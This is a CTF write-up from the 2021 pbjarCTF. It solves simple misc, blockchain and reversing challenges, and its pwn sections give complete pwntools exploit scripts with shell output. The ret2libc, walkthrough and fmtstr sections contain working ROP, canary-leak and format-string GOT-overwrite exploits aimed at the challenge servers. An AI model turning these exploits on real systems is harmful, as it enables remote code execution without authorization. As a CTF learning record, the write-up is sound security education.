2021 pbjarCTF Write-Up

juuun0·2022년 1월 20일
1
post-thumbnail

Convert

In this file has the hex string. So to changing ASCII string, i use the Hex to ASCII converter and then found the flag.

convert flag

flag{dis_is_a_fl4ggg_h1}


ret2libc

For solve this challenge, we need to understand about ROP and x64 Stack alignment issue. Target program haven't canary and compiled partial RELRO so i try to tampering GOT address.

root@e60a28c09eb6:~/pbjarCTF/ret2libc# checksec ret2libc
[*] '/root/pbjarCTF/ret2libc/ret2libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

I'm leaking puts GOT for calculate Library base address by use puts function. And save the '/bin/sh' string in bss area.

Finally, modulate the puts GOT area with the system function address. After it's end, when calling puts("/bin/sh"), it's run system("/bin/sh").

I use the pop rdi; ret gadget because of x64 calling convention.

I run exploit code but keeping failed. At that time I see the below hint from target program.

(If you think it should work and it didn't, try ropping to 'ret' gadget [pop_rdi + 1] first to align stack.)

I'm noticed the "align stack" is meaning about x64 stack alignment issue. Refer to the following article, I add the one more ret gadget before call system function for alignment.

And I success the getting shell.

root@e60a28c09eb6:~/pbjarCTF/ret2libc# ./pbjarctf_pwnable_ret2libc.py
[+] Opening connection to 143.198.127.103 on port 42001: Done
[*] '/root/pbjarCTF/ret2libc/ret2libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/usr/local/lib/python3.7/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
./pbjarctf_pwnable_ret2libc.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  puts = u64(p.recvuntil("\x7f").ljust(8, '\x00'.encode('utf-8')))
[*] puts mapped address: 0x7f5bcd39b5f0
[*] Library Base Address: 0x7f5bcd325000
./pbjarctf_pwnable_ret2libc.py:41: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("/bin/sh\x00")
[*] Switching to interactive mode

$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat flag.txt
flag{th3_wh0l3_us3l3r4nd_1s_my_pl4ygr0und}

flag{th3_wh0l3_us3l3r4nd_1s_my_pl4ygr0und}

Exploit Code

from pwn import *
 
 p = remote("143.198.127.103", 42001)
 e = ELF("./ret2libc")
 #context.log_level = 'debug'
 
 padding = "A"*0x28
 pr = 0x000000000040155b
 putsLibrary = 0x00000000000765f0
 
 payload = padding.encode('utf-8')
 payload += p64(pr)
 payload += p64(e.got['puts'])
 payload += p64(e.plt['puts'])
 payload += p64(pr)
 payload += p64(e.bss())
 payload += p64(e.plt['gets'])
 payload += p64(pr)
 payload += p64(0x405018)
 payload += p64(e.plt['gets'])
 payload += p64(pr+1)
 payload += p64(pr)
 payload += p64(e.bss())
 payload += p64(e.plt['puts'])
 
 p.sendlineafter("[y/N]", payload)
 
 p.recvline()
 p.recvline()
 p.recvline()
 p.recvline()
 puts = u64(p.recvuntil("\x7f").ljust(8, '\x00'.encode('utf-8')))
 baseAddr = puts - putsLibrary
 
 log.info("puts mapped address: " + hex(puts))
 log.info("Library Base Address: " + hex(baseAddr))
 
 p.sendline("/bin/sh\x00")
 p.sendline(p64(baseAddr + 0x0000000000048e50 ))
 p.interactive()

discord plz

Join the discord!! (https://discord.gg/HcS4efUSyJ) Always read the rules before a ctf and lookout for announcements and known issues.

At first, i try to find flag in the chat log but it's failed. Then second, i'm focus on the all of text their server and find from channel description.

discord_flag

flag{thamks_for_joining_disc}


walkthrough

This program is have canary but print in runtime so we can reach the RET address. And I found fmtstr() function it has format string bug. Also it's print flag depend on there condition.

if(num[0x3] == num[0x4]){
                puts("You beat rng!\n");

                FILE *f = fopen("flag.txt","r");
                if(f == NULL){
                        puts("If you are running locally, you need to create a file called 'flag.txt' in the running progam's directory.");
                        puts("Otherwise, something is wrong. Please contact the author on discord.");
                        exit(1);
                }   

                fgets(buf, 0x20, f); 

                puts("After all that program manipulation, here's the flag:");
                puts(buf);
        }else{
                puts("You failed baka.");
        }

That condition is when num[0x3] and num[0x4] is same. num[0x4] has random value because of rand() function but num[0x3] is user input. To get num[0x4] value, I use the format string bug and can get over the 14th offset.

root@e60a28c09eb6:~/pbjarCTF/walkthrough# ./pbjarctf_pwnable_walkthrough.py
[+] Opening connection to 147.182.172.217 on port 42001: Done
[*] '/root/pbjarCTF/walkthrough/walkthrough'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
./pbjarctf_pwnable_walkthrough.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("later): ")
/usr/local/lib/python3.7/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] value is: 1407742316
./pbjarctf_pwnable_walkthrough.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("flag:\n")
[*] flag{4nd_s0_th3_3xpl01ts_b3g1n}
[*] Closed connection to 147.182.172.217 port 42001

flag{4nd_s0_th3_3xpl01ts_b3g1n}

Exploit Code

#!/usr/bin/python3
 
 from pwn import *
 
 #p = process("./walkthrough")
 p = remote("147.182.172.217", 42001)
 e = ELF("./walkthrough")
 #context.log_level = 'debug'
 
 padding = "A"*0x48
 p.recvuntil("later): ")
 canary = int(p.recvline().decode('utf-8').strip("\n"), 16) 
 ret = 0x0000000000401016
 
 payload = padding.encode('utf-8')
 payload += p64(canary)
 payload += "BBBBBBBB".encode('utf-8')
 payload += p64(ret)
 payload += p64(e.symbols['fmtstr'])
 
 p.sendlineafter("like on the stack.\n", payload)
 p.sendlineafter("be passed into printf.\n", "%14$lld".encode('utf-8'))
 p.recvline()
 p.recvline()
 value = int(p.recvline().decode('utf-8').strip("\n"))
 log.info("value is: {}".format(value))
 
 #p.interactive()
 p.sendlineafter("you're guessing.\n", str(value).encode('utf-8'))
 #p.interactive()
 p.recvuntil("flag:\n")
 
 log.info(p.recvline().decode('utf-8'))
 #p.interactive()

miner

This challenge is MISC part and saying enter the miner value of provided ethereum block.

Block #11834380 on the Ethereum Blockchain was mined on Febuary 11th at 9:12:59 AM UTC. What is the address of the miner who validated this block? Flag format: flag{0x0000000000000000000000000000000000000000}

I find that from this site. Watch the "Mined by" category.

flag{0xd224ca0c819e8e97ba0136b3b95ceff503b79f53}


redFlag1

The address of my new smart contract is 0xf0674CD7D1C0c616063a786E7d1434340E09BadD, the flag is inside it, and the code is published on Etherscan. Important: This smart contract is on Ropsten

I didn't know block chain like ehtereum so i searched ropsten on google. Google is show etherscan page to me. Search the provided the hex value and click the contract menu, there on the one contract, called "redFlag1" and click it.

This is that site. And see the contract source code. We can find flag from there.

contract readFlag1 {
    string private flag = "flag{etherscan_S0urc3_c0de}";

flag{etherscan_S0urc3_c0de}

redFlag3


0xe2a9e67bdA26Dd48c8312ea1FE6a7C111e5D7a7A. Important: This smart contract is on Ropsten

Searching the block by use hash and click the contract.

Keeping scroll down and stop at Constructor Arguments. You can find flag there.

-----Decoded View---------------
Arg [0] : _flagVal (string): flag{s3t_by_c0nstructor}

flag{s3t_by_c0nstructor}


web

It's very interesting challenges because title is "web" but category is "reversing".

I downloaded this program back when the version number was still v1. It's been a long time... I heard the most recent update has the flag in it. Download: http://147.182.172.217:42100/v1

It's told need download latest version fot get flag. If run the program, download +1 version program. I think it's repaet over and over until getting latest version.

I didn't sure maximum so guessing that. When download by wget, if version is not found they return text file else has more version return application.

Guessing high from low, and Finally found latest version the v133791021.

root@e60a28c09eb6:~/pbjarCTF/web# ./v133791021
flag{h0w_l0ng_wher3_y0u_g0ne_f0r_3910512832}

flag{h0w_l0ng_wher3_y0u_g0ne_f0r_3910512832}

polymer

This program is print sooooo many text with flag{n0t_th3_fl4g_101}. Of course that's not a real flag looks like fake.

Open and decompile in ghidra and keeping scroll down when getting to real flag. Finally I found real flag.

    puts(
      "mr. flag{n0t_th3_fl4g_l0l} flag{n0t_th3_fl4g_l0l} i\'ll ask you what the real flag is flag{ju5t_4n0th3r_str1ng5_pr0bl3m_0159394921} think we\'d all like to know. "
      );

flag{ju5t_4n0th3r_str1ng5_pr0bl3m_0159394921}


fmtstr

This is amazing format string bug challenges. The program is doing three time of fgets() and printf(). Each printf() have format string bug. My scenario is here.

  1. First printf(), Leak mapped library address for calculate libray base address.
  2. Second printf(), Spoof printf() GOT address to system() address.
  3. Third fgets(), Enter the "/bin/sh" in the buf.
  4. And last printf(), it's called system(buf).

I leak main() function ret address, __libc_start_main+234. Refer the this site

Only one chance for spoof printf() GOT address so I used %lx directive that means took a long time.

I'm not sure about the reason but when i run in docker container the exploit code is killd. Linux Desktop is no problem and i got flag.

persian@Code-PAPA  ~/Github/Private/fmtstr   main ±  ./pbjarctf_pwnable_fmtstr.py
 [+] Opening connection to 143.198.127.103 on port 42002: Done
 [*] '/storage/learning/Github/Private/fmtstr/fmtstr'
     Arch:     amd64-64-little
     RELRO:    Partial RELRO
     Stack:    No canary found
     NX:       NX enabled
     PIE:      No PIE (0x3fe000)
 [*] '/storage/learning/Github/Private/fmtstr/libc-2.31.so'
     Arch:     amd64-64-little
     RELRO:    Partial RELRO
     Stack:    Canary found
     NX:       NX enabled
     PIE:      PIE enabled
 [*] libc base address: 0x7f6571f2a000
 [*] Switching to interactive mode

 $ id
 uid=1000(user) gid=1000(user) groups=1000(user)
 $ cat flag.txt
 flag{w1th_just_s0m3_str1ngz_1_b3c4m3_4_g0d_4t_r3d1r3ct10n}

flag{w1th_just_s0m3_str1ngz_1_b3c4m3_4_g0d_4t_r3d1r3ct10n}

Exploit Code

#!/usr/bin/python3
 
 from pwn import *
 
 p = remote("143.198.127.103", 42002)
 e = ELF("./fmtstr")
 libc = ELF("./libc-2.31.so")
 
 _libc_start_offset = libc.symbols['__libc_start_main'] + 234 
 trigger = "input:".encode('utf-8')
 
 # Skip Tutorial
 p.send("\n".encode('utf-8'))
 
 # Leak LIBC Address
 p.sendlineafter(trigger, "%25$p".encode('utf-8'))
 p.recvline()
 leak = int(p.recvline().decode('utf-8').strip("\n"), 16) 
 _libc_base = leak - _libc_start_offset
 log.info("libc base address: " + hex(_libc_base))
 
 # Spoof printf@got
 _system_address = _libc_base + libc.symbols['system']
 _change_value = _system_address & 0xffffffff
 #pause()
 payload = "%{}c%{}$n".format(_system_address & 0xffffffff , 9)
 payload += "P"*(8 - (len(payload) % 8)) 
 payload = payload.encode('utf-8') + p64(e.got['printf'])
 p.sendlineafter(trigger, payload)
 
 
 # Sned /bin/sh\x00
 p.sendlineafter(trigger, "/bin/sh".encode('utf-8'))
 
 p.interactive()
 """
 %4$lx = buf addr
 %5$lx = first string
 %25$lx = main ret = _libc_start_main+234
 """

Reference

profile
To be

0개의 댓글